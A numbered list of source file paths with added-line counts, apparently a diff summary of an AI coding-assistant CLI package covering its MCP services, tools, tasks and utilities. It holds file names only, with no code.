  1045. package/src/services/mcp/SdkControlTransport.ts +136 -0
  1046. package/src/services/mcp/auth.ts +2465 -0
  1047. package/src/services/mcp/channelAllowlist.ts +76 -0
  1048. package/src/services/mcp/channelNotification.ts +316 -0
  1049. package/src/services/mcp/channelPermissions.ts +240 -0
  1050. package/src/services/mcp/claudeai.ts +164 -0
  1051. package/src/services/mcp/client.ts +3348 -0
  1052. package/src/services/mcp/config.ts +1578 -0
  1053. package/src/services/mcp/elicitationHandler.ts +313 -0
  1054. package/src/services/mcp/envExpansion.ts +38 -0
  1055. package/src/services/mcp/headersHelper.ts +138 -0
  1056. package/src/services/mcp/mcpStringUtils.ts +106 -0
  1057. package/src/services/mcp/normalization.ts +23 -0
  1058. package/src/services/mcp/oauthPort.ts +78 -0
  1059. package/src/services/mcp/officialRegistry.ts +72 -0
  1060. package/src/services/mcp/types.ts +258 -0
  1061. package/src/services/mcp/useManageMCPConnections.ts +1141 -0
  1062. package/src/services/mcp/utils.ts +575 -0
  1063. package/src/services/mcp/vscodeSdkMcp.ts +112 -0
  1064. package/src/services/mcp/xaa.ts +511 -0
  1065. package/src/services/mcp/xaaIdpLogin.ts +487 -0
  1066. package/src/services/mcpServerApproval.tsx +41 -0
  1067. package/src/services/mockRateLimits.ts +882 -0
  1068. package/src/services/notifier.ts +156 -0
  1069. package/src/services/oauth/auth-code-listener.ts +211 -0
  1070. package/src/services/oauth/client.ts +566 -0
  1071. package/src/services/oauth/crypto.ts +23 -0
  1072. package/src/services/oauth/getOauthProfile.ts +53 -0
  1073. package/src/services/oauth/index.ts +198 -0
  1074. package/src/services/plugins/PluginInstallationManager.ts +184 -0
  1075. package/src/services/plugins/pluginCliCommands.ts +344 -0
  1076. package/src/services/plugins/pluginOperations.ts +1088 -0
  1077. package/src/services/policyLimits/index.ts +664 -0
  1078. package/src/services/policyLimits/types.ts +27 -0
  1079. package/src/services/preventSleep.ts +165 -0
  1080. package/src/services/rateLimitMessages.ts +344 -0
  1081. package/src/services/rateLimitMocking.ts +144 -0
  1082. package/src/services/remoteManagedSettings/index.ts +639 -0
  1083. package/src/services/remoteManagedSettings/securityCheck.tsx +74 -0
  1084. package/src/services/remoteManagedSettings/syncCache.ts +112 -0
  1085. package/src/services/remoteManagedSettings/syncCacheState.ts +96 -0
  1086. package/src/services/remoteManagedSettings/types.ts +31 -0
  1087. package/src/services/settingsSync/index.ts +581 -0
  1088. package/src/services/settingsSync/types.ts +67 -0
  1089. package/src/services/teamMemorySync/index.ts +1256 -0
  1090. package/src/services/teamMemorySync/secretScanner.ts +324 -0
  1091. package/src/services/teamMemorySync/teamMemSecretGuard.ts +44 -0
  1092. package/src/services/teamMemorySync/types.ts +156 -0
  1093. package/src/services/teamMemorySync/watcher.ts +387 -0
  1094. package/src/services/tips/tipHistory.ts +17 -0
  1095. package/src/services/tips/tipRegistry.ts +686 -0
  1096. package/src/services/tips/tipScheduler.ts +58 -0
  1097. package/src/services/tokenEstimation.ts +495 -0
  1098. package/src/services/toolUseSummary/toolUseSummaryGenerator.ts +112 -0
  1099. package/src/services/tools/StreamingToolExecutor.ts +530 -0
  1100. package/src/services/tools/toolExecution.ts +1745 -0
  1101. package/src/services/tools/toolHooks.ts +650 -0
  1102. package/src/services/tools/toolOrchestration.ts +188 -0
  1103. package/src/services/vcr.ts +406 -0
  1104. package/src/services/voice.ts +525 -0
  1105. package/src/services/voiceKeyterms.ts +106 -0
  1106. package/src/services/voiceStreamSTT.ts +544 -0
  1107. package/src/setup.ts +477 -0
  1108. package/src/skills/bundled/batch.ts +124 -0
  1109. package/src/skills/bundled/claudeApi.ts +196 -0
  1110. package/src/skills/bundled/claudeApiContent.ts +75 -0
  1111. package/src/skills/bundled/claudeInChrome.ts +34 -0
  1112. package/src/skills/bundled/debug.ts +103 -0
  1113. package/src/skills/bundled/index.ts +79 -0
  1114. package/src/skills/bundled/keybindings.ts +339 -0
  1115. package/src/skills/bundled/loop.ts +92 -0
  1116. package/src/skills/bundled/loremIpsum.ts +282 -0
  1117. package/src/skills/bundled/remember.ts +82 -0
  1118. package/src/skills/bundled/scheduleRemoteAgents.ts +447 -0
  1119. package/src/skills/bundled/simplify.ts +69 -0
  1120. package/src/skills/bundled/skillify.ts +197 -0
  1121. package/src/skills/bundled/stuck.ts +79 -0
  1122. package/src/skills/bundled/updateConfig.ts +475 -0
  1123. package/src/skills/bundled/verify.ts +30 -0
  1124. package/src/skills/bundled/verifyContent.ts +13 -0
  1125. package/src/skills/bundledSkills.ts +220 -0
  1126. package/src/skills/loadSkillsDir.ts +1086 -0
  1127. package/src/skills/mcpSkillBuilders.ts +44 -0
  1128. package/src/state/AppState.tsx +200 -0
  1129. package/src/state/AppStateStore.ts +569 -0
  1130. package/src/state/onChangeAppState.ts +171 -0
  1131. package/src/state/selectors.ts +76 -0
  1132. package/src/state/store.ts +34 -0
  1133. package/src/state/teammateViewHelpers.ts +141 -0
  1134. package/src/tasks/DreamTask/DreamTask.ts +157 -0
  1135. package/src/tasks/InProcessTeammateTask/InProcessTeammateTask.tsx +126 -0
  1136. package/src/tasks/InProcessTeammateTask/types.ts +121 -0
  1137. package/src/tasks/LocalAgentTask/LocalAgentTask.tsx +683 -0
  1138. package/src/tasks/LocalMainSessionTask.ts +479 -0
  1139. package/src/tasks/LocalShellTask/LocalShellTask.tsx +523 -0
  1140. package/src/tasks/LocalShellTask/guards.ts +41 -0
  1141. package/src/tasks/LocalShellTask/killShellTasks.ts +76 -0
  1142. package/src/tasks/RemoteAgentTask/RemoteAgentTask.tsx +856 -0
  1143. package/src/tasks/pillLabel.ts +82 -0
  1144. package/src/tasks/stopTask.ts +100 -0
  1145. package/src/tasks/types.ts +46 -0
  1146. package/src/tasks.ts +39 -0
  1147. package/src/tools/AgentTool/AgentTool.tsx +1398 -0
  1148. package/src/tools/AgentTool/UI.tsx +872 -0
  1149. package/src/tools/AgentTool/agentColorManager.ts +66 -0
  1150. package/src/tools/AgentTool/agentDisplay.ts +104 -0
  1151. package/src/tools/AgentTool/agentMemory.ts +177 -0
  1152. package/src/tools/AgentTool/agentMemorySnapshot.ts +197 -0
  1153. package/src/tools/AgentTool/agentToolUtils.ts +686 -0
  1154. package/src/tools/AgentTool/built-in/claudeCodeGuideAgent.ts +205 -0
  1155. package/src/tools/AgentTool/built-in/exploreAgent.ts +83 -0
  1156. package/src/tools/AgentTool/built-in/generalPurposeAgent.ts +34 -0
  1157. package/src/tools/AgentTool/built-in/planAgent.ts +92 -0
  1158. package/src/tools/AgentTool/built-in/statuslineSetup.ts +144 -0
  1159. package/src/tools/AgentTool/built-in/verificationAgent.ts +152 -0
  1160. package/src/tools/AgentTool/builtInAgents.ts +72 -0
  1161. package/src/tools/AgentTool/constants.ts +12 -0
  1162. package/src/tools/AgentTool/forkSubagent.ts +210 -0
  1163. package/src/tools/AgentTool/loadAgentsDir.ts +755 -0
  1164. package/src/tools/AgentTool/prompt.ts +287 -0
  1165. package/src/tools/AgentTool/resumeAgent.ts +265 -0
  1166. package/src/tools/AgentTool/runAgent.ts +973 -0
  1167. package/src/tools/AskUserQuestionTool/AskUserQuestionTool.tsx +266 -0
  1168. package/src/tools/AskUserQuestionTool/prompt.ts +44 -0
  1169. package/src/tools/BashTool/BashTool.tsx +1144 -0
  1170. package/src/tools/BashTool/BashToolResultMessage.tsx +191 -0
  1171. package/src/tools/BashTool/UI.tsx +185 -0
  1172. package/src/tools/BashTool/bashCommandHelpers.ts +265 -0
  1173. package/src/tools/BashTool/bashPermissions.ts +2621 -0
  1174. package/src/tools/BashTool/bashSecurity.ts +2592 -0
  1175. package/src/tools/BashTool/commandSemantics.ts +140 -0
  1176. package/src/tools/BashTool/commentLabel.ts +13 -0
  1177. package/src/tools/BashTool/destructiveCommandWarning.ts +102 -0
  1178. package/src/tools/BashTool/modeValidation.ts +115 -0
  1179. package/src/tools/BashTool/pathValidation.ts +1303 -0
  1180. package/src/tools/BashTool/prompt.ts +369 -0
  1181. package/src/tools/BashTool/readOnlyValidation.ts +1990 -0
  1182. package/src/tools/BashTool/sedEditParser.ts +322 -0
  1183. package/src/tools/BashTool/sedValidation.ts +684 -0
  1184. package/src/tools/BashTool/shouldUseSandbox.ts +153 -0
  1185. package/src/tools/BashTool/toolName.ts +2 -0
  1186. package/src/tools/BashTool/utils.ts +223 -0
  1187. package/src/tools/BriefTool/BriefTool.ts +204 -0
  1188. package/src/tools/BriefTool/UI.tsx +101 -0
  1189. package/src/tools/BriefTool/attachments.ts +110 -0
  1190. package/src/tools/BriefTool/prompt.ts +22 -0
  1191. package/src/tools/BriefTool/upload.ts +174 -0
  1192. package/src/tools/ConfigTool/ConfigTool.ts +467 -0
  1193. package/src/tools/ConfigTool/UI.tsx +38 -0
  1194. package/src/tools/ConfigTool/constants.ts +1 -0
  1195. package/src/tools/ConfigTool/prompt.ts +93 -0
  1196. package/src/tools/ConfigTool/supportedSettings.ts +211 -0
  1197. package/src/tools/EnterPlanModeTool/EnterPlanModeTool.ts +126 -0
  1198. package/src/tools/EnterPlanModeTool/UI.tsx +33 -0
  1199. package/src/tools/EnterPlanModeTool/constants.ts +1 -0
  1200. package/src/tools/EnterPlanModeTool/prompt.ts +170 -0
  1201. package/src/tools/EnterWorktreeTool/EnterWorktreeTool.ts +127 -0
  1202. package/src/tools/EnterWorktreeTool/UI.tsx +20 -0
  1203. package/src/tools/EnterWorktreeTool/constants.ts +1 -0
  1204. package/src/tools/EnterWorktreeTool/prompt.ts +30 -0
  1205. package/src/tools/ExitPlanModeTool/ExitPlanModeV2Tool.ts +493 -0
  1206. package/src/tools/ExitPlanModeTool/UI.tsx +82 -0
  1207. package/src/tools/ExitPlanModeTool/constants.ts +2 -0
  1208. package/src/tools/ExitPlanModeTool/prompt.ts +29 -0
  1209. package/src/tools/ExitWorktreeTool/ExitWorktreeTool.ts +329 -0
  1210. package/src/tools/ExitWorktreeTool/UI.tsx +25 -0
  1211. package/src/tools/ExitWorktreeTool/constants.ts +1 -0
  1212. package/src/tools/ExitWorktreeTool/prompt.ts +32 -0
  1213. package/src/tools/FileEditTool/FileEditTool.ts +625 -0
  1214. package/src/tools/FileEditTool/UI.tsx +289 -0
  1215. package/src/tools/FileEditTool/constants.ts +11 -0
  1216. package/src/tools/FileEditTool/prompt.ts +28 -0
  1217. package/src/tools/FileEditTool/types.ts +85 -0
  1218. package/src/tools/FileEditTool/utils.ts +775 -0
  1219. package/src/tools/FileReadTool/FileReadTool.ts +1183 -0
  1220. package/src/tools/FileReadTool/UI.tsx +185 -0
  1221. package/src/tools/FileReadTool/imageProcessor.ts +94 -0
  1222. package/src/tools/FileReadTool/limits.ts +92 -0
  1223. package/src/tools/FileReadTool/prompt.ts +49 -0
  1224. package/src/tools/FileWriteTool/FileWriteTool.ts +434 -0
  1225. package/src/tools/FileWriteTool/UI.tsx +405 -0
  1226. package/src/tools/FileWriteTool/prompt.ts +18 -0
  1227. package/src/tools/GlobTool/GlobTool.ts +198 -0
  1228. package/src/tools/GlobTool/UI.tsx +63 -0
  1229. package/src/tools/GlobTool/prompt.ts +7 -0
  1230. package/src/tools/GrepTool/GrepTool.ts +577 -0
  1231. package/src/tools/GrepTool/UI.tsx +201 -0
  1232. package/src/tools/GrepTool/prompt.ts +18 -0
  1233. package/src/tools/LSPTool/LSPTool.ts +860 -0
  1234. package/src/tools/LSPTool/UI.tsx +228 -0
  1235. package/src/tools/LSPTool/formatters.ts +592 -0
  1236. package/src/tools/LSPTool/prompt.ts +21 -0
  1237. package/src/tools/LSPTool/schemas.ts +215 -0
  1238. package/src/tools/LSPTool/symbolContext.ts +90 -0
  1239. package/src/tools/ListMcpResourcesTool/ListMcpResourcesTool.ts +123 -0
  1240. package/src/tools/ListMcpResourcesTool/UI.tsx +29 -0
  1241. package/src/tools/ListMcpResourcesTool/prompt.ts +20 -0
  1242. package/src/tools/MCPTool/MCPTool.ts +77 -0
  1243. package/src/tools/MCPTool/UI.tsx +403 -0
  1244. package/src/tools/MCPTool/classifyForCollapse.ts +604 -0
  1245. package/src/tools/MCPTool/prompt.ts +3 -0
  1246. package/src/tools/McpAuthTool/McpAuthTool.ts +215 -0
  1247. package/src/tools/NotebookEditTool/NotebookEditTool.ts +490 -0
  1248. package/src/tools/NotebookEditTool/UI.tsx +93 -0
  1249. package/src/tools/NotebookEditTool/constants.ts +2 -0
  1250. package/src/tools/NotebookEditTool/prompt.ts +3 -0
  1251. package/src/tools/PowerShellTool/PowerShellTool.tsx +1001 -0
  1252. package/src/tools/PowerShellTool/UI.tsx +131 -0
  1253. package/src/tools/PowerShellTool/clmTypes.ts +211 -0
  1254. package/src/tools/PowerShellTool/commandSemantics.ts +142 -0
  1255. package/src/tools/PowerShellTool/commonParameters.ts +30 -0
  1256. package/src/tools/PowerShellTool/destructiveCommandWarning.ts +109 -0
  1257. package/src/tools/PowerShellTool/gitSafety.ts +176 -0
  1258. package/src/tools/PowerShellTool/modeValidation.ts +404 -0
  1259. package/src/tools/PowerShellTool/pathValidation.ts +2049 -0
  1260. package/src/tools/PowerShellTool/powershellPermissions.ts +1648 -0
  1261. package/src/tools/PowerShellTool/powershellSecurity.ts +1090 -0
  1262. package/src/tools/PowerShellTool/prompt.ts +145 -0
  1263. package/src/tools/PowerShellTool/readOnlyValidation.ts +1823 -0
  1264. package/src/tools/PowerShellTool/toolName.ts +2 -0
  1265. package/src/tools/REPLTool/constants.ts +46 -0
  1266. package/src/tools/REPLTool/primitiveTools.ts +39 -0
  1267. package/src/tools/ReadMcpResourceTool/ReadMcpResourceTool.ts +158 -0
  1268. package/src/tools/ReadMcpResourceTool/UI.tsx +37 -0
  1269. package/src/tools/ReadMcpResourceTool/prompt.ts +16 -0
  1270. package/src/tools/RemoteTriggerTool/RemoteTriggerTool.ts +161 -0
  1271. package/src/tools/RemoteTriggerTool/UI.tsx +17 -0
  1272. package/src/tools/RemoteTriggerTool/prompt.ts +15 -0
  1273. package/src/tools/ScheduleCronTool/CronCreateTool.ts +157 -0
  1274. package/src/tools/ScheduleCronTool/CronDeleteTool.ts +95 -0
  1275. package/src/tools/ScheduleCronTool/CronListTool.ts +97 -0
  1276. package/src/tools/ScheduleCronTool/UI.tsx +60 -0
  1277. package/src/tools/ScheduleCronTool/prompt.ts +135 -0
  1278. package/src/tools/SendMessageTool/SendMessageTool.ts +917 -0
  1279. package/src/tools/SendMessageTool/UI.tsx +31 -0
  1280. package/src/tools/SendMessageTool/constants.ts +1 -0
  1281. package/src/tools/SendMessageTool/prompt.ts +49 -0
  1282. package/src/tools/SkillTool/SkillTool.ts +1108 -0
  1283. package/src/tools/SkillTool/UI.tsx +128 -0
  1284. package/src/tools/SkillTool/constants.ts +1 -0
  1285. package/src/tools/SkillTool/prompt.ts +241 -0
  1286. package/src/tools/SleepTool/prompt.ts +17 -0
  1287. package/src/tools/SyntheticOutputTool/SyntheticOutputTool.ts +163 -0
  1288. package/src/tools/TaskCreateTool/TaskCreateTool.ts +138 -0
  1289. package/src/tools/TaskCreateTool/constants.ts +1 -0
  1290. package/src/tools/TaskCreateTool/prompt.ts +56 -0
  1291. package/src/tools/TaskGetTool/TaskGetTool.ts +128 -0
  1292. package/src/tools/TaskGetTool/constants.ts +1 -0
  1293. package/src/tools/TaskGetTool/prompt.ts +24 -0
  1294. package/src/tools/TaskListTool/TaskListTool.ts +116 -0
  1295. package/src/tools/TaskListTool/constants.ts +1 -0
  1296. package/src/tools/TaskListTool/prompt.ts +49 -0
  1297. package/src/tools/TaskOutputTool/TaskOutputTool.tsx +584 -0
  1298. package/src/tools/TaskOutputTool/constants.ts +1 -0
  1299. package/src/tools/TaskStopTool/TaskStopTool.ts +131 -0
  1300. package/src/tools/TaskStopTool/UI.tsx +41 -0
  1301. package/src/tools/TaskStopTool/prompt.ts +8 -0
  1302. package/src/tools/TaskUpdateTool/TaskUpdateTool.ts +406 -0
  1303. package/src/tools/TaskUpdateTool/constants.ts +1 -0
  1304. package/src/tools/TaskUpdateTool/prompt.ts +77 -0
  1305. package/src/tools/TeamCreateTool/TeamCreateTool.ts +240 -0
  1306. package/src/tools/TeamCreateTool/UI.tsx +6 -0
  1307. package/src/tools/TeamCreateTool/constants.ts +1 -0
  1308. package/src/tools/TeamCreateTool/prompt.ts +113 -0
  1309. package/src/tools/TeamDeleteTool/TeamDeleteTool.ts +139 -0
  1310. package/src/tools/TeamDeleteTool/UI.tsx +20 -0
  1311. package/src/tools/TeamDeleteTool/constants.ts +1 -0
  1312. package/src/tools/TeamDeleteTool/prompt.ts +16 -0
  1313. package/src/tools/TodoWriteTool/TodoWriteTool.ts +115 -0
  1314. package/src/tools/TodoWriteTool/constants.ts +1 -0
  1315. package/src/tools/TodoWriteTool/prompt.ts +184 -0
  1316. package/src/tools/ToolSearchTool/ToolSearchTool.ts +471 -0
  1317. package/src/tools/ToolSearchTool/constants.ts +1 -0
  1318. package/src/tools/ToolSearchTool/prompt.ts +121 -0
  1319. package/src/tools/TungstenTool/TungstenTool.js +2 -0
  1320. package/src/tools/TungstenTool/TungstenTool.ts +1 -0
  1321. package/src/tools/WebFetchTool/UI.tsx +72 -0
  1322. package/src/tools/WebFetchTool/WebFetchTool.ts +318 -0
  1323. package/src/tools/WebFetchTool/preapproved.ts +166 -0
  1324. package/src/tools/WebFetchTool/prompt.ts +46 -0
  1325. package/src/tools/WebFetchTool/utils.ts +530 -0
  1326. package/src/tools/WebSearchTool/UI.tsx +101 -0
  1327. package/src/tools/WebSearchTool/WebSearchTool.ts +435 -0
  1328. package/src/tools/WebSearchTool/prompt.ts +34 -0
  1329. package/src/tools/shared/gitOperationTracking.ts +277 -0
  1330. package/src/tools/shared/spawnMultiAgent.ts +1093 -0
  1331. package/src/tools/testing/TestingPermissionTool.tsx +74 -0
  1332. package/src/tools/utils.ts +40 -0
  1333. package/src/tools.ts +389 -0
  1334. package/src/types/command.ts +216 -0
  1335. package/src/types/connectorText.js +5 -0
  1336. package/src/types/connectorText.ts +1 -0
  1337. package/src/types/generated/events_mono/claude_code/v1/claude_code_internal_event.ts +865 -0
  1338. package/src/types/generated/events_mono/common/v1/auth.ts +100 -0
  1339. package/src/types/generated/events_mono/growthbook/v1/growthbook_experiment_event.ts +223 -0
  1340. package/src/types/generated/google/protobuf/timestamp.ts +187 -0
  1341. package/src/types/hooks.ts +290 -0
  1342. package/src/types/ids.ts +44 -0
  1343. package/src/types/logs.ts +330 -0
  1344. package/src/types/permissions.ts +441 -0
  1345. package/src/types/plugin.ts +363 -0
  1346. package/src/types/textInputTypes.ts +387 -0
  1347. package/src/upstreamproxy/relay.ts +455 -0
  1348. package/src/upstreamproxy/upstreamproxy.ts +285 -0
  1349. package/src/utils/CircularBuffer.ts +84 -0
  1350. package/src/utils/Cursor.ts +1530 -0
  1351. package/src/utils/QueryGuard.ts +121 -0
  1352. package/src/utils/Shell.ts +474 -0
  1353. package/src/utils/ShellCommand.ts +465 -0
  1354. package/src/utils/abortController.ts +99 -0
  1355. package/src/utils/activityManager.ts +164 -0
  1356. package/src/utils/advisor.ts +145 -0
  1357. package/src/utils/agentContext.ts +178 -0
  1358. package/src/utils/agentId.ts +99 -0
  1359. package/src/utils/agentSwarmsEnabled.ts +44 -0
  1360. package/src/utils/agenticSessionSearch.ts +307 -0
  1361. package/src/utils/analyzeContext.ts +1382 -0
  1362. package/src/utils/ansiToPng.ts +334 -0
  1363. package/src/utils/ansiToSvg.ts +272 -0
  1364. package/src/utils/api.ts +718 -0
  1365. package/src/utils/apiPreconnect.ts +72 -0
  1366. package/src/utils/appleTerminalBackup.ts +124 -0
  1367. package/src/utils/argumentSubstitution.ts +145 -0
  1368. package/src/utils/array.ts +13 -0
  1369. package/src/utils/asciicast.ts +239 -0
  1370. package/src/utils/attachments.ts +3997 -0
  1371. package/src/utils/attribution.ts +393 -0
  1372. package/src/utils/auth.ts +2007 -0
  1373. package/src/utils/authFileDescriptor.ts +196 -0
  1374. package/src/utils/authPortable.ts +19 -0
  1375. package/src/utils/autoModeDenials.ts +26 -0
  1376. package/src/utils/autoRunIssue.tsx +122 -0
  1377. package/src/utils/autoUpdater.ts +562 -0
  1378. package/src/utils/aws.ts +74 -0
  1379. package/src/utils/awsAuthStatusManager.ts +81 -0
  1380. package/src/utils/background/remote/preconditions.ts +235 -0
  1381. package/src/utils/background/remote/remoteSession.ts +98 -0
  1382. package/src/utils/backgroundHousekeeping.ts +94 -0
  1383. package/src/utils/bash/ParsedCommand.ts +318 -0
  1384. package/src/utils/bash/ShellSnapshot.ts +582 -0
  1385. package/src/utils/bash/ast.ts +2679 -0
  1386. package/src/utils/bash/bashParser.ts +4436 -0
  1387. package/src/utils/bash/bashPipeCommand.ts +294 -0
  1388. package/src/utils/bash/commands.ts +1339 -0
  1389. package/src/utils/bash/heredoc.ts +733 -0
  1390. package/src/utils/bash/parser.ts +230 -0
  1391. package/src/utils/bash/prefix.ts +204 -0
  1392. package/src/utils/bash/registry.ts +53 -0
  1393. package/src/utils/bash/shellCompletion.ts +259 -0
  1394. package/src/utils/bash/shellPrefix.ts +28 -0
  1395. package/src/utils/bash/shellQuote.ts +304 -0
  1396. package/src/utils/bash/shellQuoting.ts +128 -0
  1397. package/src/utils/bash/specs/alias.ts +14 -0
  1398. package/src/utils/bash/specs/index.ts +18 -0
  1399. package/src/utils/bash/specs/nohup.ts +13 -0
  1400. package/src/utils/bash/specs/pyright.ts +91 -0
  1401. package/src/utils/bash/specs/sleep.ts +13 -0
  1402. package/src/utils/bash/specs/srun.ts +31 -0
  1403. package/src/utils/bash/specs/time.ts +13 -0
  1404. package/src/utils/bash/specs/timeout.ts +20 -0
  1405. package/src/utils/bash/treeSitterAnalysis.ts +506 -0
  1406. package/src/utils/betas.ts +438 -0
  1407. package/src/utils/billing.ts +78 -0
  1408. package/src/utils/binaryCheck.ts +53 -0
  1409. package/src/utils/browser.ts +68 -0
  1410. package/src/utils/bufferedWriter.ts +100 -0
  1411. package/src/utils/bundledMode.ts +22 -0
  1412. package/src/utils/caCerts.ts +115 -0
  1413. package/src/utils/caCertsConfig.ts +88 -0
  1414. package/src/utils/cachePaths.ts +38 -0
  1415. package/src/utils/classifierApprovals.ts +88 -0
  1416. package/src/utils/classifierApprovalsHook.ts +17 -0
  1417. package/src/utils/claudeCodeHints.ts +193 -0
  1418. package/src/utils/claudeDesktop.ts +152 -0
  1419. package/src/utils/claudeInChrome/chromeNativeHost.ts +527 -0
  1420. package/src/utils/claudeInChrome/common.ts +540 -0
  1421. package/src/utils/claudeInChrome/mcpServer.ts +293 -0
  1422. package/src/utils/claudeInChrome/prompt.ts +83 -0
  1423. package/src/utils/claudeInChrome/setup.ts +400 -0
  1424. package/src/utils/claudeInChrome/setupPortable.ts +233 -0
  1425. package/src/utils/claudeInChrome/toolRendering.tsx +262 -0
  1426. package/src/utils/claudemd.ts +1479 -0
  1427. package/src/utils/cleanup.ts +602 -0
  1428. package/src/utils/cleanupRegistry.ts +25 -0
  1429. package/src/utils/cliArgs.ts +60 -0
  1430. package/src/utils/cliHighlight.ts +54 -0
  1431. package/src/utils/codeIndexing.ts +206 -0
  1432. package/src/utils/collapseBackgroundBashNotifications.ts +84 -0
  1433. package/src/utils/collapseHookSummaries.ts +59 -0
  1434. package/src/utils/collapseReadSearch.ts +1109 -0
  1435. package/src/utils/collapseTeammateShutdowns.ts +55 -0
  1436. package/src/utils/combinedAbortSignal.ts +47 -0
  1437. package/src/utils/commandLifecycle.ts +21 -0
  1438. package/src/utils/commitAttribution.ts +961 -0
  1439. package/src/utils/completionCache.ts +166 -0
  1440. package/src/utils/computerUse/appNames.ts +196 -0
  1441. package/src/utils/computerUse/cleanup.ts +86 -0
  1442. package/src/utils/computerUse/common.ts +61 -0
  1443. package/src/utils/computerUse/computerUseLock.ts +215 -0
  1444. package/src/utils/computerUse/drainRunLoop.ts +79 -0
  1445. package/src/utils/computerUse/escHotkey.ts +54 -0
  1446. package/src/utils/computerUse/executor.ts +658 -0
  1447. package/src/utils/computerUse/gates.ts +72 -0
  1448. package/src/utils/computerUse/hostAdapter.ts +69 -0
  1449. package/src/utils/computerUse/inputLoader.ts +30 -0
  1450. package/src/utils/computerUse/mcpServer.ts +106 -0
  1451. package/src/utils/computerUse/setup.ts +53 -0
  1452. package/src/utils/computerUse/swiftLoader.ts +23 -0
  1453. package/src/utils/computerUse/toolRendering.tsx +125 -0
  1454. package/src/utils/computerUse/wrapper.tsx +336 -0
  1455. package/src/utils/concurrentSessions.ts +204 -0
  1456. package/src/utils/config.ts +1817 -0
  1457. package/src/utils/configConstants.ts +21 -0
  1458. package/src/utils/contentArray.ts +51 -0
  1459. package/src/utils/context.ts +221 -0
  1460. package/src/utils/contextAnalysis.ts +272 -0
  1461. package/src/utils/contextSuggestions.ts +235 -0
  1462. package/src/utils/controlMessageCompat.ts +32 -0
  1463. package/src/utils/conversationRecovery.ts +597 -0
  1464. package/src/utils/cron.ts +308 -0
  1465. package/src/utils/cronJitterConfig.ts +75 -0
  1466. package/src/utils/cronScheduler.ts +565 -0
  1467. package/src/utils/cronTasks.ts +458 -0
  1468. package/src/utils/cronTasksLock.ts +195 -0
  1469. package/src/utils/crossProjectResume.ts +75 -0
  1470. package/src/utils/crypto.ts +13 -0
  1471. package/src/utils/cwd.ts +32 -0
  1472. package/src/utils/debug.ts +268 -0
  1473. package/src/utils/debugFilter.ts +157 -0
  1474. package/src/utils/deepLink/banner.ts +123 -0
  1475. package/src/utils/deepLink/parseDeepLink.ts +170 -0
  1476. package/src/utils/deepLink/protocolHandler.ts +136 -0
  1477. package/src/utils/deepLink/registerProtocol.ts +348 -0
  1478. package/src/utils/deepLink/terminalLauncher.ts +557 -0
  1479. package/src/utils/deepLink/terminalPreference.ts +54 -0
  1480. package/src/utils/desktopDeepLink.ts +236 -0
  1481. package/src/utils/detectRepository.ts +178 -0
  1482. package/src/utils/diagLogs.ts +94 -0
  1483. package/src/utils/diff.ts +177 -0
  1484. package/src/utils/directMemberMessage.ts +69 -0
  1485. package/src/utils/displayTags.ts +51 -0
  1486. package/src/utils/doctorContextWarnings.ts +265 -0
  1487. package/src/utils/doctorDiagnostic.ts +625 -0
  1488. package/src/utils/dxt/helpers.ts +88 -0
  1489. package/src/utils/dxt/zip.ts +226 -0
  1490. package/src/utils/earlyInput.ts +191 -0
  1491. package/src/utils/editor.ts +183 -0
  1492. package/src/utils/effort.ts +329 -0
  1493. package/src/utils/embeddedTools.ts +29 -0
  1494. package/src/utils/env.ts +347 -0
  1495. package/src/utils/envDynamic.ts +151 -0
  1496. package/src/utils/envUtils.ts +183 -0
  1497. package/src/utils/envValidation.ts +38 -0
  1498. package/src/utils/errorLogSink.ts +235 -0
  1499. package/src/utils/errors.ts +238 -0
  1500. package/src/utils/exampleCommands.ts +184 -0
  1501. package/src/utils/execFileNoThrow.ts +150 -0
  1502. package/src/utils/execFileNoThrowPortable.ts +89 -0
  1503. package/src/utils/execSyncWrapper.ts +38 -0
  1504. package/src/utils/exportRenderer.tsx +98 -0
  1505. package/src/utils/extraUsage.ts +23 -0
  1506. package/src/utils/fastMode.ts +532 -0
  1507. package/src/utils/file.ts +584 -0
  1508. package/src/utils/fileHistory.ts +1115 -0
  1509. package/src/utils/fileOperationAnalytics.ts +71 -0
  1510. package/src/utils/filePersistence/filePersistence.ts +287 -0
  1511. package/src/utils/filePersistence/outputsScanner.ts +126 -0
  1512. package/src/utils/fileRead.ts +102 -0
  1513. package/src/utils/fileReadCache.ts +96 -0
  1514. package/src/utils/fileStateCache.ts +142 -0
  1515. package/src/utils/findExecutable.ts +17 -0
  1516. package/src/utils/fingerprint.ts +76 -0
  1517. package/src/utils/forkedAgent.ts +689 -0
  1518. package/src/utils/format.ts +308 -0
  1519. package/src/utils/formatBriefTimestamp.ts +81 -0
  1520. package/src/utils/fpsTracker.ts +47 -0
  1521. package/src/utils/frontmatterParser.ts +370 -0
  1522. package/src/utils/fsOperations.ts +770 -0
  1523. package/src/utils/fullscreen.ts +202 -0
  1524. package/src/utils/generatedFiles.ts +136 -0
  1525. package/src/utils/generators.ts +88 -0
  1526. package/src/utils/genericProcessUtils.ts +184 -0
  1527. package/src/utils/getWorktreePaths.ts +70 -0
  1528. package/src/utils/getWorktreePathsPortable.ts +27 -0
  1529. package/src/utils/ghPrStatus.ts +106 -0
  1530. package/src/utils/git/gitConfigParser.ts +277 -0
  1531. package/src/utils/git/gitFilesystem.ts +699 -0
  1532. package/src/utils/git/gitignore.ts +99 -0
  1533. package/src/utils/git.ts +926 -0
  1534. package/src/utils/gitDiff.ts +532 -0
  1535. package/src/utils/gitSettings.ts +18 -0
  1536. package/src/utils/github/ghAuthStatus.ts +29 -0
  1537. package/src/utils/githubRepoPathMapping.ts +162 -0
  1538. package/src/utils/glob.ts +130 -0
  1539. package/src/utils/gracefulShutdown.ts +529 -0
  1540. package/src/utils/groupToolUses.ts +182 -0
  1541. package/src/utils/handlePromptSubmit.ts +610 -0
  1542. package/src/utils/hash.ts +46 -0
  1543. package/src/utils/headlessProfiler.ts +178 -0
  1544. package/src/utils/heapDumpService.ts +303 -0
  1545. package/src/utils/heatmap.ts +198 -0
  1546. package/src/utils/highlightMatch.tsx +28 -0
  1547. package/src/utils/hooks/AsyncHookRegistry.ts +309 -0
  1548. package/src/utils/hooks/apiQueryHookHelper.ts +141 -0
  1549. package/src/utils/hooks/execAgentHook.ts +339 -0
  1550. package/src/utils/hooks/execHttpHook.ts +242 -0
  1551. package/src/utils/hooks/execPromptHook.ts +211 -0
  1552. package/src/utils/hooks/fileChangedWatcher.ts +191 -0
  1553. package/src/utils/hooks/hookEvents.ts +192 -0
  1554. package/src/utils/hooks/hookHelpers.ts +83 -0
